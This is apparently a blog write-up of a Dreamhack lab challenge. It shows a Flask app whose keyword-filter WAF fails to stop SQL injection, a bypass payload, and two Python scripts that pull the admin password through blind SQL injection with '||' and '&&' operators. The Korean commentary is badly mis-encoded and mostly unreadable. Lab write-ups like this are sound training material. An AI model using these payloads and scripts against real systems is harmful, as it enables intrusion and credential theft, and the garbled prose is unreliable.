[2025-07-17] SQL injection Bypass WAF advanced
๐ฆฅ ๋ณธ๋ฌธ
import os
from flask import Flask, request
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
'''
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/',
'\n', '\r', '\t', '\x0b', '\x0c', '-', '+']
def check_WAF(data):
for keyword in keywords:
if keyword in data.lower():
return True
return False
@app.route('/', methods=['POST', 'GET'])
def index():
uid = request.args.get('uid')
if uid:
if check_WAF(uid):
return 'your request has been blocked by WAF.'
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
result = cur.fetchone()
if result:
return template.format(uid=uid, result=result[1])
else:
return template.format(uid=uid, result='')
else:
return template
if __name__ == '__main__':
app.run(host='0.0.0.0')
์ด์ ์ ํ๋ ๋ฌธ์ ์ ๋น์ทํ์ง๋ง ํํฐ๋ง์ด ์ถ๊ฐ๋๊ณ ๋์๋ฌธ์ ํผ์ฉ๋ ํํฐ๋ง์ด ์ถ๊ฐ๋๋ค.
ํ์ง๋ง | ย | ๋ &&๊ฐ์ ๋ฐฉ์์ผ๋ก ์ฐ์ฐ์ ํํฐ๋ง์ ์๋ค |
ํน์ ๋ชฐ๋ผ์ ์ด์ ์ ๋ต์์ ์ฌ์ฉํ๋ ์ฝ๋๋ฅผ ๋ชจ๋ ์์คํค ์ฝ๋๋ก ๋ฐ๊ฟจ๋ค.
'%75%6E%69%6F%6E%09%73%65%6C%65%63%74%09null,upw,null%09%66%72%6F%6D%09user%09where%09uid=\"%61%64%6D%69%6E\"%23
์๋ฌ๊ฐ ๋์๋ค
ํ์ด
-
์ฐ์ฐ์ ย ์ &&์ ํตํด ์ฐ์ฐ์ ์ฐํ๋ฅผ ํ๋ค. -
length() ๋ฉ์๋๋ฅผ ํตํด upw์ ๊ธธ์ด๋ฅผ ๊ตฌํ๋ค.
import requests url = "http://host8.dreamhack.games:16356/" for length in range(1, 100): # ๊ธธ์ด 1~99๊น์ง ์๋ payload = f"'||uid=reverse('nimda')&&char_length(upw)={length}#" params = {"uid": payload} response = requests.get(url, params=params) if "admin" in response.text: print(f"[+] Password length is {length}") break
์์ ๊ฒฐ๊ณผ๋ฅผ ํตํด length๊ฐ 44์์ ์์๋ค.
-
๊ธธ์ด๋ฅผ ๊ตฌํ ๊ฒ์ ๋ฐํ์ผ๋ก substring()์ ํตํด Blind SQLi๋ฅผ ํ๋ค
import requests import string url = "http://host8.dreamhack.games:16356/" charset = string.ascii_letters + string.digits # ์ํ๋ฒณ + ์ซ์ password = "" for i in range(1, 45): # upw ๊ธธ์ด๊ฐ 44๋๊น 1~44๊น์ง for ch in charset: payload = f"'||uid=reverse('nimda')&&substring(upw,{i},1)='{ch}'#" params = {"uid": payload} response = requests.get(url, params=params) if "admin" in response.text: password += ch print(f"[+] Found character {i}: {ch} โ {password}") break
Leave a comment